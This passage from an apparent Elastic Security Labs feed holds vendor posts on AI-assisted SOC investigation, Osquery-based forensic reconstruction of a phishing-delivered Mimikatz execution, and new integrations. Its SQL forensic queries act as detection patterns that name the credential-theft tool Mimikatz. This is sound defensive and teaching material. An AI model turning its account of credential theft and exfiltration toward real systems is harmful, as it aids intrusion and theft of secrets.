<p>While reviewing the morning's anomalies, the Security ML jobs flagged unusual behavior on <code>svc-backup-prod</code>, a service account that normally runs scheduled backup jobs between 2:00 and 4:00 a.m. The anomaly: large outbound data transfers at 11:00 p.m., well outside the normal window, to an IP address the account has never contacted before.</p>
<p>You ask: <em>Investigate the anomalies on svc-backup-prod. What's happening?</em></p>
<p>The <strong>Security ML Jobs</strong> skill starts by calling <code>find.security.ml.jobs</code> to find the relevant ML jobs and anomaly indices, in this case jobs monitoring network traffic patterns and data exfiltration signals. It generates and executes an ES|QL query against `.ml-anomalies-*<code>, filtering for </code>svc-backup-prod` records above the anomaly score threshold. The results show three anomalous sessions over the past week, each with increasing data volume: 2 GB, then 8 GB, and then 23 GB.</p>
<p>Since Entity Store v2 is enabled, the skill extracts the entity's unique identifier and calls <code>security.get_entity</code> to pull the full entity profile. It reveals that <code>svc-backup-prod</code> was recently granted access to a new file share containing customer PII, and its asset criticality is classified as <code>extreme_impact</code>.</p>
<p>The anomaly data is concerning, but you need to dig deeper. You type: <em>Hunt for all network activity from svc-backup-prod to external IPs in the last 30 days. Compare against baseline.</em></p>
<p>The <strong>Threat Hunting</strong> skill takes over. Using <code>platform.core.generate_esql</code> and <code>platform.core.execute_esql</code>, it iteratively builds queries against <code>logs-endpoint.events.network-*</code>:</p>
<ul>
<li>
<p>First pass: Aggregate all outbound connections by destination IP, ordered by total bytes transferred. The results confirm that the flagged IP (<code>198.51.100.47</code>) accounts for 33 GB of outbound traffic, all within the past 10 days. None before that.</p>
</li>
<li>
<p>Second pass: Check the destination IP against DNS resolution patterns. The IP resolves to a recently registered domain (<code>storage-sync-cdn.cloud</code>) with a registrar commonly associated with bulletproof hosting.</p>
</li>
<li>
<p>Third pass: Correlate with process telemetry. The connections originate from a process (<code>rsync</code>) that <code>svc-backup-prod</code> normally uses, but it's connecting to an unauthorized destination. The attacker is using a legitimate tool for exfiltration, making rule-based detection difficult.</p>
</li>
</ul>
<p>The hunt confirms a data exfiltration campaign using living-off-the-land techniques. The Threat Hunting skill documents the hypothesis, queries, and evidence trail. You create a case with containment recommendations: Isolate the host, rotate the service account credentials, and block the destination IP at the network perimeter.</p>
<p>Three skills. One conversation. From anomaly to confirmed exfiltration in minutes, not hours.</p>
<h2>Under the hood: How skills are built</h2>
<p>Each skill is defined as a <code>SkillType</code>, a structured object that bundles everything the agent needs for a specific domain:</p>
<ul>
<li>
<p><strong>System prompt</strong> (<code>content</code>): The core instructions. This is where domain expertise lives. The Threat Hunting skill, for example, includes a complete hunting process (formulate hypothesis → identify data sources → explore iteratively → identify anomalies → search for IOCs → document findings) with embedded ES|QL templates for common patterns, like lateral movement detection and C2 beaconing analysis.</p>
</li>
<li>
<p><strong>Registry tools</strong> (<code>getRegistryTools</code>): The set of platform and security tools the skill can invoke. Each skill gets only the tools it needs. Alert Analysis gets <code>security.alerts</code>, <code>security.security_labs_search</code>, and <code>security.entity_risk_score</code>. Threat Hunting gets <code>platform.core.generate_esql</code>, <code>platform.core.execute_esql</code>, <code>platform.core.search</code>, and <code>platform.core.cases</code>. No skill has access to tools it doesn't need.</p>
</li>
<li>
<p><strong>Inline tools</strong> (<code>getInlineTools</code>): Skill-specific tools that only exist within that skill's context. Alert Analysis defines <code>security.alert-analysis.get-related-alerts</code>, a tool that finds alerts sharing entities with a given alert. This tool doesn't exist outside the Alert Analysis skill because no other workflow needs it.</p>
</li>
<li>
<p><strong>Referenced content</strong> (<code>referencedContent</code>): Named chunks of domain knowledge that the skill can pull in when needed. The Threat Hunting skill includes embedded ES|QL query templates for lateral movement, C2 beaconing, brute force detection, and rare process execution. These are ready-made patterns that the agent adapts to the specific investigation.</p>
</li>
</ul>
<p>Because each skill is self-contained, adding a new one (for incident response automation or binary analysis, say) doesn't touch any existing skill. Each operates independently, with its own prompt, its own tools, and its own domain knowledge</p>
<h2>Skills in the Agentic SOC</h2>
<p>If you read our <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">previous post on Attack Discovery, Workflows, and Elastic Agent Builder</a>, you'll recognize the pattern. In that post, we extended the Threat Hunting Agent with five custom workflow tools (VirusTotal lookups, on-call schedule checks, case creation, Slack channel creation, and time retrieval) to build an automated triage pipeline for advanced persistent threat–level (APT-level) threats.</p>
<p>Skills are the productized evolution of that approach. Instead of requiring each SOC team to build custom agents and wire up individual tools, Elastic Security now ships domain expertise out of the box. The five skills in 9.4 cover the workflows that every SOC runs daily (detection, triage, hunting, entity analysis, and anomaly investigation) with the same composable, tool-backed architecture.</p>
<p>Skills also integrate directly with the rest of the <a href="https://www.elastic.co/fr/blog/ai-cybersecurity-arms-race-agentic-soc">Agentic SOC</a> stack:</p>
<ul>
<li>
<p><strong>Attack Discovery</strong> generates alerts that can trigger Workflows, which invoke the agent. The agent activates Alert Analysis, Entity Analytics, or Threat Hunting, depending on what the discovery requires.</p>
</li>
<li>
<p><strong>Workflows</strong> provide the execution layer, both scripted automation and AI-augmented reasoning. A Workflow can run deterministic actions, like case creation, host isolation, and notification, but it can also invoke the Elastic AI Agent as a step, triggering skill-based reasoning mid-pipeline. This means a single Workflow can isolate a host (scripted), then ask the agent to triage the related alerts using Alert Analysis (AI-driven), and then escalate to Slack (scripted), combining reliability with intelligence.</p>
</li>
<li>
<p><strong>Custom tools and Model Context Protocol (MCP)</strong> remain fully available. Skills don't replace customization. They complement it. Teams can still add workflow-backed tools, connect external MCP servers, and extend the agent for their environment-specific needs.</p>
</li>
</ul>
<p>Security users also benefit from three platform skills that ship alongside the security-specific ones.</p>
<ul>
<li>
<p><strong>Dashboard Management</strong> lets analysts build and update Kibana dashboards through conversation. After completing the exfiltration investigation in Scenario 3, you could ask the agent: <em>Create a dashboard showing outbound data transfer volume by service account over the last 30 days, with a breakdown by destination IP.</em> The skill generates the visualizations and presents them as an editable attachment, so you go from investigation findings to a shareable executive briefing without switching tools.</p>
</li>
<li>
<p><strong>Workflow Authoring</strong> (available as an experimental capability) helps teams write and modify workflow YAML through the agent. Instead of hand-authoring a triage Workflow from scratch, you could ask: <em>Create a workflow that triggers on critical-severity alerts, runs the alert through the AI agent for triage, and creates a Slack channel if it's confirmed as a true positive.</em> The skill generates the YAML definition, validates it, and lets you review before deploying. This turns Workflow creation from a manual authoring task into a conversation.</p>
</li>
<li>
<p><strong>Graph Creation</strong> lets analysts visualize entity relationships and attack paths through conversation. After the Alert Analysis skill identifies that j.martinez's compromised credentials were used across three hosts, you could ask: <em>Create a graph showing the relationship between j.martinez, the affected hosts, and the credential-harvesting alerts.</em> The skill generates an interactive node-link visualization showing how entities connect, making it easier to brief stakeholders on attack scope and lateral movement paths.</p>
</li>
</ul>
<p>The pieces form a layered system: Attack Discovery surfaces threats, skills provide domain expertise for analysis, Workflows execute the response, and platform skills help you build the dashboards, graphic representation, and automation that tie it all together.</p>
<h2>Key takeaways</h2>
<ul>
<li>
<p><strong>Skills are the unit of AI expertise in the SOC.</strong> Each skill packages domain knowledge, curated tools, and specialized instructions for a single workflow: detection, triage, hunting, entity analysis, or anomaly investigation.</p>
</li>
<li>
<p><strong>One agent, not five.</strong> Analysts don't switch between agents. The Elastic AI Agent activates the right skill based on the task, keeping the experience unified and the context connected.</p>
</li>
<li>
<p><strong>Composable by design.</strong> Skills reference each other. Alert Analysis hands off to Entity Analytics for deeper profiling. Threat Hunting builds on ML anomaly findings. Investigations flow naturally across skills without manual context transfer.</p>
</li>
<li>
<p><strong>Efficient at scale.</strong> Skills load on demand. Adding new skills doesn't degrade existing ones. Each operates in its own focused context window, so quality improves as capabilities grow.</p>
</li>
<li>
<p><strong>Built on the Agentic SOC stack.</strong> Skills work with Attack Discovery, Workflows, and custom tools. They make the automation pipeline richer by giving the agent deeper domain expertise at every step.</p>
</li>
<li>
<p><strong>Extensible.</strong> The five out-of-the-box skills ship with 9.4, but the architecture supports custom skills. Teams can build skills tailored to their environment, their data sources, and their SOC processes.</p>
</li>
</ul>
<h2>Get started</h2>
<p>Skills ship as part of Elastic Security 9.4. They're available out of the box in the Elastic AI Agent with no configuration required. Open a conversation, ask a security question, and the agent activates the right skill.</p>
<p>To learn more, see the <a href="https://www.elastic.co/fr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic AI Agent documentation</a> and the <a href="https://www.elastic.co/fr/docs/release-notes/security">Elastic Security 9.4 release notes</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/skills-elastic-security-9-4/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[DFIR: From alert to root cause using Osquery without leaving Elastic Security]]></title>
            <link>https://www.elastic.co/fr/security-labs/dfir-osquery-elastic-security</link>
            <guid>dfir-osquery-elastic-security</guid>
            <pubDate>Fri, 01 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Learn how to perform distributed, real-time Digital Forensics and Incident Response (DFIR) using Osquery and Elastic to investigate threats at scale without relying on disk imaging.]]></description>
            <content:encoded><![CDATA[<p>Modern DFIR doesn't start with a disk image. That model worked when environments were smaller, endpoints were static, and time wasn't the primary constraint. Endpoints are now ephemeral, fleets scale to thousands of hosts, and attackers operate on timelines measured in minutes. By the time a full forensic image is collected, the system may no longer exist.</p>
<p>Forensics today is no longer about collecting everything. It's about asking the right questions, in real time, across your entire environment.</p>
<p>This is where distributed, query-driven forensics comes in and why tools like <a href="https://osquery.io/">Osquery</a> have become foundational to modern Digital Forensics and Incident Response (DFIR). Most DFIR workflows have a hidden cost: the time lost switching between your endpoint detection and response (EDR), your security information and event management (SIEM), and your forensic tooling. Elastic Security eliminates that gap entirely, from a blocked alert to a deep-dive forensic query, without leaving the platform or losing investigative context.</p>
<hr />
<h2>Rethinking forensics in modern environments</h2>
<p><a href="https://www.sans.org/cybersecurity-focus-areas/digital-forensics-incident-response">DFIR</a> has traditionally been treated as a post-incident activity. Evidence was collected, systems were imaged, and analysis happened after the attacker had already completed their objectives. That model assumed stability: stable hosts, predictable timelines, and the ability to pause systems for investigation.</p>
<p>Today, those assumptions no longer hold.</p>
<p>Infrastructure is dynamic, endpoints are frequently reimaged or short-lived, and attackers operate on timelines measured in minutes rather than days. Waiting to collect full forensic images isn’t just inefficient; it’s also operationally infeasible. By the time analysis begins, the system may no longer exist, or the attacker may have already moved laterally.</p>
<p>As a result, DFIR has evolved into a live, iterative discipline. Investigators no longer rely on full disk acquisition as a starting point. Instead, they interrogate endpoints directly, retrieving only the artifacts that matter, when they matter.</p>
<h2>From disk imaging to distributed DFIR</h2>
<p>This shift represents a fundamental change in how investigations are performed.</p>
<p>Rather than centralizing evidence and analyzing it in isolation, investigators now distribute their questions across the environment. Each endpoint becomes a source of truth that can be queried in real time. Instead of waiting hours for data collection, analysts can validate hypotheses in seconds, pivot quickly, and refine their investigation as new evidence emerges.</p>
<p>This model enables a far more responsive workflow. Questions lead to queries, queries lead to insights, and insights drive the next steps of the investigation.</p>
<h2>Osquery as a forensic interface</h2>
<p>At the center of this model is Osquery, which exposes operating system (OS) artifacts as structured tables that can be queried using SQL. Processes, network connections, file activity, registry entries, and execution artifacts become immediately accessible without the need for heavyweight collection.</p>
<p>This abstraction transforms the OS into a queryable forensic dataset. Instead of navigating multiple tools or collecting large volumes of raw data, investigators can focus on answering specific questions with precision.</p>
<p>To support this, Elastic doesn't just integrate <a href="https://www.elastic.co/fr/docs/reference/integrations/osquery_manager">Osquery Manager</a>, but we also build our own Osquery <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/README.md">extensions</a> to cover critical forensic artifacts that aren’t natively available. We make these extensions available within Elastic Security and contribute them back to the community. This includes visibility into areas such as <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">browser history</a>, <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_amcache_application_file.md">AmCache</a>, and <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_jumplists.md">jumplists</a>, enabling deeper insight into user activity and execution patterns directly from the endpoint. We have contributed to Osquery with YARA memory scanning and OpenHandles too.The <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/examine-osquery-results">Osquery results</a> are automatically stored in an Elasticsearch index and can easily be <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-map-fields">mapped to the Elastic Common Schema</a> (ECS).</p>
<p>Beyond individual <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-run-query">live queries</a>, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#core-forensic-artifacts-coverage">out-of-the-box Osquery curated queries</a> designed for forensic investigations, also mapped to ECS. These queries target the forensic artifacts that matter most during an investigation, such as Prefetch files that prove execution, Shimcache entries that confirm a binary existed on disk, registry keys that expose persistence mechanisms, and scheduled tasks that reveal attacker footholds.</p>
<h2>From alert triaging to forensic reconstruction</h2>
<p>Alerts are often the entry point into an investigation, but in a modern security operations center (SOC), they signify active defense. <a href="https://www.elastic.co/fr/docs/reference/integrations/endpoint">Elastic Defend</a> provides this first line of active protection. This native Elastic Endpoint Security integration operates at the kernel level for deep visibility and enforcement, consistently earning top AV-Comparatives scores. Beyond alerts, Elastic Defend provides continuous enforcement, stopping threats like ransomware, malware, and in-memory exploits, using advanced behavioral preventions. While investigations begin with a signal, damage is already mitigated.</p>
<p>However, once a threat is neutralized, the key critical question remains: What actually happened?</p>
<p>This is where <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery">investigating with Osquery</a> becomes essential. While Elastic Defend neutralizes the threat and captures the real-time telemetry, Osquery acts as your deep-dive forensic interface. It allows you to interrogate the endpoint for specific, high-fidelity artifacts, such as execution history in the Shimcache or manual navigation in Shellbags, to reconstruct a definitive timeline with evidence that goes beyond telemetry.</p>
<p>Together, Elastic Defend and Osquery form a complementary system that spans the full detection and response lifecycle. One provides continuous visibility and alerting; the other delivers the forensic depth required to investigate and validate those alerts. This combination allows analysts to move easily from detection to investigation, bridging the gap between signal and understanding.</p>
<h2>Hunts: Operationalizing forensic and threat hunting investigations</h2>
<p>As investigations progress, many of the same questions are repeatedly asked across different incidents. Rather than rebuilding queries each time, these can be standardized into reusable <em>hunts</em>.</p>
<p>Apart from curated queries, Elastic also provides <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/artifacts_matrix.md#artifacts-by-investigative-goal">curated Osquery packs</a> aligned with common attacker tactics and techniques. These <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/osquery#osquery-schedule-query">packs can be scheduled</a> and allow analysts to quickly validate suspicious process execution, identify potential defense evasion behavior, and detect signs of lateral movement without writing queries from scratch.</p>
<p>In this scenario, hunts enable the investigation to expand beyond a single host. Analysts can rapidly determine whether similar execution patterns or indicators exist elsewhere in the environment, significantly accelerating the investigation process.</p>
<h2>Scaling the investigation</h2>
<p>Once key indicators such as domains or file hashes are identified, the investigation can be extended across the entire environment. Queries used for validation can be reused to identify similar activity on other endpoints.</p>
<p>This approach allows analysts to determine the scope of the incident, identify additional affected systems, and prioritize response efforts based on impact. Osquery, combined with Elastic across the environment, enables centralized query execution and fleet-wide forensics investigations.</p>
<h2>From investigation to response</h2>
<p>Up to this point, the focus has been on understanding what happened. Modern DFIR, however, requires the ability to act on those findings immediately.</p>
<p>By combining Osquery with Elastic Defend, investigators can move directly from analysis to <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions">response</a> within the same workflow.</p>
<p>Once malicious execution is confirmed, the affected host can be <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions#_isolate">isolated</a> to prevent further communication and reduce the risk of lateral movement. In situations requiring deeper analysis, investigators can also collect a <a href="https://www.elastic.co/fr/docs/solutions/security/endpoint-response-actions#memory-dump">memory dump</a> from the endpoint.</p>
<p>This memory dump can be downloaded and analyzed using external tools, such as Volatility, enabling further investigation of in-memory activity that may not be visible through traditional artifacts.</p>
<p>The Osquery and Elastic Defend combination allows analysts to move easily from detection to investigation to response, reducing friction and accelerating the overall DFIR process.</p>
<h2>Detection with Osquery: From telemetry to signal</h2>
<p>While Osquery is often used for live investigations, it also plays an important role in detection. When executed through scheduled packs, Osquery continuously collects endpoint data that can be used within Elastic Security to <a href="https://www.elastic.co/fr/docs/solutions/security/detect-and-alert/using-the-rule-ui">create SIEM detection rules</a>. The results of these queries are indexed in <code>logs-Osquery_manager.result*</code>, making them searchable and usable as a detection data source.</p>
<p>Each query execution is identified by the <code>action.id</code> field. For scheduled packs, this follows a consistent naming convention: <code>pack_{pack_name}_{query_name}</code>. This allows analysts to reference specific queries when building detection logic, effectively turning Osquery packs into reusable detection building blocks.</p>
<p>This creates a natural feedback loop between investigation and detection. Queries initially used during forensic analysis can be operationalized into scheduled packs, continuously running across the environment and surfacing suspicious behavior automatically, bridging the gap between reactive investigation and proactive detection. Moreover, Osquery <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/run-osquery-from-alerts">can be run directly from alerts</a>, as part of <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/run-osquery-from-investigation-guides">investigation guides</a> and as a <a href="https://www.elastic.co/fr/docs/solutions/security/investigate/add-osquery-response-actions">response action in a detection rule</a>.</p>
<h2>Investigation scenario: From malicious alert to root cause</h2>
<p>Consider a scenario where a user receives a phishing email offering a “100% discount” through a shared download link. The message appears convincing enough to prompt interaction, leading the user to download a file from the provided link.</p>
<p>Shortly after, Elastic Defend triggers an alert indicating that malware execution was detected and terminated. The payload is identified as <a href="https://en.wikipedia.org/wiki/Mimikatz">Mimikatz</a>, a well-known tool used for credential access.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image7.png" alt="Process alert" title="Alert details and analyzer view showing a critical malware detection alert. The left panel displays an analyzer graph of related processes, including explorer.exe, cmd.exe, powershell.exe, conhost.exe, and mimikatz.exe. The right panel lists alert information such as status, risk score, host name, rule name, file path, file hash, and process details." /></p>
<p>At this stage, the immediate threat has been blocked, but key questions remain unanswered. How did the file reach the endpoint? Was it executed by the user? Was this an isolated event or part of a broader attack?</p>
<p>Detection provides the signal but not the full story.</p>
<p>To understand the root cause, the investigation shifts to Osquery.</p>
<p>The first step is to identify how the file was introduced onto the system. Since the initial vector is a phishing link, browser artifacts provide a natural starting point. We’ll use the suspicious <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-b352f3c9-c630-47ec-83bb-5887fe0bb874.json">browser history query</a> that removes all possible false positives from the <a href="https://github.com/elastic/beats/blob/main/x-pack/osquerybeat/ext/osquery-extension/docs/tables/elastic_browser_history.md">Elastic <code>browser history</code> table</a>.</p>
<p>This query helps identify whether the user accessed a suspicious link consistent with the phishing lure.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image8.png" alt="History results" title="Browser history query results showing a table of osquery events from win11‑lab1, including event action, category, type, tags, URL domain and full URL, user name, and user agent name. The query description reads “Browser history from Elastic osquery extension,” and the entries display limewire‑related domains accessed by user lab1." /></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image1.png" alt="History details" title="Browser history query result details showing a table of fields and values, including event category, event time, browser, domain, URL, title, username, tags, and user agent name. The entry reflects activity associated with limewire.com accessed by user lab1." /></p>
<p>We see that the user <strong>lab1</strong> accessed through Edge browser a link that, in theory, contains a <strong>discount</strong> zip file to be downloaded, and we can consider these findings as new <a href="https://www.microsoft.com/en-us/security/business/security-101/what-are-indicators-of-compromise-ioc">indicators of compromise</a> (IoCs).</p>
<p>In order to confirm whether the file was actually downloaded and therefore, the user clicked on the previous link, we can use the <a href="https://osquery.io/schema/5.22.1/#file"><code>file</code> table</a>, checking for the presence of this zip file on disk, meaning the user clicked on that previous link. We’ll use the <a href="https://github.com/elastic/integrations/blob/main/packages/osquery_manager/kibana/osquery_saved_query/osquery_manager-f8e71a30-b621-11ef-9c4a-8b2c7c5a1d3e.json">Elastic file query</a> that also checks the file hash of that file on VirusTotal. We can see that this <strong>discount.zip</strong> file has a <a href="https://www.virustotal.com/gui/file/d86e5d2701b548dfbe0419bcffb2ae82c6ccdeb6dc9612050273c543a6f5215a">malicious reputation</a>, being in reality Mimikatz.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image2.png" alt="File lookup" title="File query results with VirusTotal link showing a search for “discount.zip” and a results table listing one matching entry from win11‑lab1. A side panel displays the field “osquery_vt_link” with a VirusTotal URL for the file." /></p>
<p>Next, we validate whether a file was downloaded and executed as a result of that interaction. To determine whether the file was executed, we pivot into execution artifacts, such as <a href="https://forensafe.com/blogs/shimcache.html"><strong>Shimcache</strong></a> <strong><a href="https://forensafe.com/blogs/UserAssist.html">UserAssist</a>,  <a href="https://www.forensafe.com/blogs/shellbags.html">Shellbags</a>,</strong> and <strong><a href="https://www.forensafe.com/blogs/prefetch.html">Prefetch</a></strong>.</p>
<p><a href="https://osquery.io/schema/5.22.1/#shellbags"><code>Shellbags</code></a> clearly shows the drill-down behavior: The user didn't just open the folder; they navigated three levels deep into the x64 directory where the Mimikatz binary usually lives.</p>
<pre><code class="language-sql">SELECT
  path,
  datetime(accessed_time, 'unixepoch') AS access_time
FROM shellbags
WHERE path LIKE '%discount%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image5.png" alt="Shellbags view" title="Shellbags query results showing a table with agent name, access time, and path fields. The entries list win11‑lab1 with access times from April 10, 2026, and paths referencing discount and mimikatz‑master directories." /></p>
<p>The <a href="https://osquery.io/schema/5.22.1/#shimcache"><code>shimcache</code></a> tracks every executable that has been &quot;seen&quot; by the OS for compatibility purposes. Even if the file was never actually run, its presence here proves it existed in that path.</p>
<pre><code class="language-sql">SELECT
  path,
  datetime(modified_time, 'unixepoch') AS last_run_human_readable,
  modified_time AS raw_timestamp
FROM shimcache
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image3.png" alt="Shimcache view" title="Shimcache query results showing a table with agent name, last run time, file path, and raw timestamp. The entry lists win11‑lab1 with a last run time from April 10, 2026, and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories." /></p>
<p>NOTE: The &quot;1970&quot; date in the <code>raw_timestamp</code> column is a known forensics community issue. It results from a unit mismatch: Osquery stores timestamps in Unix epoch seconds, but the UI interprets this value as milliseconds. This calculation error compresses 56 years into roughly 20 days, causing the date to display as late January 1970 instead of April 2026. For forensic accuracy, the <code>last_run_human_readable</code> column remains the authoritative record, as it was correctly converted using second-based logic in the SQL query to reflect the true execution timeline.</p>
<p>To verify whether the user manually executed it, the <a href="https://osquery.io/schema/5.22.1/#userassist"><code>userassist</code></a> table is perfect. It tracks GUI-based execution (files launched via Windows Explorer).</p>
<pre><code class="language-sql">SELECT
  path,
  count,
  datetime(last_execution_time, 'unixepoch') AS last_run_human_readable
FROM userassist
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image6.png" alt="Userassist view" title="Userassist query results showing a table with agent name, execution count, last run time, and file path. The entry lists win11‑lab1 with two executions and a path pointing to mimikatz.exe in the discount and mimikatz‑master directories" /></p>
<p><a href="https://osquery.io/schema/5.22.1/#prefetch"><code>Prefetch</code></a> is the black box that proves an application was actually launched. Analyzing the prefetch, we can get a timeline of the events, identifying that the root cause was a malicious phishing email.</p>
<pre><code class="language-sql">SELECT
  filename,
  run_count,
  datetime(last_run_time, 'unixepoch') AS last_run_utc,
  last_run_time AS raw_timestamp
FROM prefetch
WHERE (
  filename LIKE 'OLK.EXE%' OR
  filename LIKE 'MSEDGE%' OR
  filename LIKE 'MIMIKATZ%'
)
AND last_run_time BETWEEN 1775815200 AND 1775822400
ORDER BY last_run_time ASC;
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/image4.png" alt="Prefetch view" title="Prefetch query results showing a table with agent name, filename, last run time, raw timestamp, and run count. Entries for win11‑lab1 list OLK.EXE, MSEDGEWEBVIEW2.EXE, MSEDGE.EXE, and MIMIKATZ.EXE with their associated run counts and timestamps." /></p>
<p>The forensic evidence confirms a linear attack path when the user <strong>lab1</strong> initiated the new Outlook client, evidenced by the simultaneous execution of OLK.EXE and its integrated web engine, MSEDGEWEBVIEW2.EXE. This was immediately followed by MSEDGE.EXE, indicating the browser was summoned to handle the phishing redirect and download. The trail turns from automated activity to manual intent where Shellbags recorded the user deliberately navigating the extracted discount folder in their Downloads directory. This window of manual interaction eventually culminated in the final execution of MIMIKATZ.EXE. The 26-minute gap between the Shellbag entry (manual folder access) and the Prefetch entry (Mimikatz execution) is forensically consistent with a human-in-the-loop (HITL) attack scenario, where the user reads the email, clicks the link, waits for the download, extracts the zip, looks around the folder (Shellbags at 11:09), and finally works up the courage (or curiosity) to double-click the <code>.exe</code>.</p>
<h2>Transform forensics to investigate and respond at scale</h2>
<p>Twenty-six minutes. That's how long it took a user to go from opening a phishing email to executing Mimikatz. And it took us less time than that to reconstruct the entire attack chain, without a disk image, without a dedicated forensic workstation, and without leaving Elastic.</p>
<p>That's what scalable DFIR looks like in practice: not a process change, not a platform migration, but the ability to ask the right question of the right endpoint at the right moment and to get an answer before the attacker takes their next step.</p>
<p>The investigation never stops. Neither should your forensics.</p>
<p>Forensics is now essential for large-scale investigation and response, moving beyond being a mere post-incident activity. The evolution of forensics at Elastic continues, with our next phase focusing on incorporating automation and AI. Get ready to unlock the full power of forensics by combining it with workflows and agentic AI, we'll be diving into this topic in an upcoming blog post. Stay tuned!</p>
<h2>Get started with Elastic Security</h2>
<p>Start your <a href="https://cloud.elastic.co/registration">free trial</a> of Elastic Security today and experience the benefits of Elastic Defend and Osquery. Improve your forensics skills by enhancing your threat detection capabilities and gaining deeper visibility into potential threats before they escalate.</p>
<h2>Frequently Asked Questions</h2>
<p><strong>Q: How do I perform forensic investigations at scale without disk imaging?</strong> A: Elastic Security combines Osquery and Elastic Defend to enable distributed, query-driven forensics across your entire fleet. Osquery exposes OS artifacts as SQL-queryable tables, so investigators can retrieve execution history, file activity, and registry entries from thousands of endpoints in real time without collecting full disk images.</p>
<p><strong>Q: How do I reconstruct an attack timeline using Osquery?</strong> A: Elastic Security's Osquery integration gives you access to execution artifacts like Prefetch, Shimcache, UserAssist, and Shellbags as queryable tables. By chaining queries across these sources you can reconstruct the full sequence of user and attacker actions, including file downloads, folder navigation, and binary execution, without a forensic workstation.</p>
<p><strong>Q: How does Osquery integrate with Elastic Security for incident response?</strong> A: Elastic Security includes Osquery Manager natively, with curated forensic queries and packs mapped to ECS. Results are indexed automatically, making them searchable alongside alert data and usable as detection rule inputs. Osquery can also be run directly from alerts, investigation guides, and detection rule response actions.</p>
<p><strong>Q: Can I detect threats with Osquery in addition to investigating them?</strong> A: Yes. Scheduled Osquery packs continuously collect endpoint data that Elastic Security indexes under <code>logs-osquery_manager.result*</code>, which can be used as a detection data source for SIEM rules. Queries developed during forensic investigations can be operationalized into scheduled packs, creating a feedback loop between reactive investigation and proactive detection.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/dfir-osquery-elastic-security/dfir-osquery-elastic-security.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic Security Integrations Roundup: Q1 2026]]></title>
            <link>https://www.elastic.co/fr/security-labs/elastic-security-integrations-roundup-q1-2026</link>
            <guid>elastic-security-integrations-roundup-q1-2026</guid>
            <pubDate>Sat, 04 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs announces nine new integrations for Elastic Security spanning cloud security, endpoint visibility, email threat detection, identity and SIEM.]]></description>
            <content:encoded><![CDATA[<h2>A quarterly look at Elastic’s security integrations ecosystem</h2>
<p>Security teams can only protect what they can see. Gaps in coverage, like a macOS fleet generating logs that never reach your SIEM, an email gateway running in isolation, or a cloud environment producing findings that stay siloed in the vendor console, are easily exploited by attackers.</p>
<p>Elastic’s answer to this is continuous and open investment in third-party integrations, built on the belief that a strong security ecosystem requires deep integrations that make data from every corner of the stack searchable and contextualized. Today, we’re announcing nine new integrations for Elastic Security spanning cloud security, endpoint visibility, email threat detection, identity and SIEM.</p>
<p>Each integration ships with ingest pipelines that normalize and structure data out of the box, along with prebuilt dashboards that serve as an immediate starting point for visualization and analysis, so teams can search, correlate and investigate across new data sources from day one without writing or maintaining parsers.</p>
<h2>macOS Security Events</h2>
<p>Elastic Defend, the native integration that delivers Elastic Endpoint Security, collects rich security telemetry on macOS, and it is intentionally focused on high-value detection signals rather than full system auditing. Login and logout events, account creation and deletion, service registration changes and application diagnostic logs all live outside that scope, leaving threat hunters and IR teams without complete macOS context. The macOS Security Events integration complements Elastic Defend, providing the same depth of OS-level visibility offered to Windows devices via the Windows Event Logs integration.</p>
<p>MacOS endpoints generate tens of thousands of unified log entries per endpoint. Left unfiltered, that volume creates noise rather than signals. This integration ships with predicate-based filters that scope ingestion to security-relevant events: authentication activity, process execution, network connections, file system changes, and system configuration modifications.</p>
<p>These predicate-based filters enable comprehensive macOS coverage without the cost or complexity of ingesting everything. Once ingested, these events are immediately available to Elastic Security’s AI Assistant. Analysts can ask natural-language questions like &quot;Show me all privilege escalation attempts on macOS endpoints in the last 24 hours&quot; or &quot;Summarize login failures for this host”, turning raw unified log entries into actionable investigation context without writing a single query.</p>
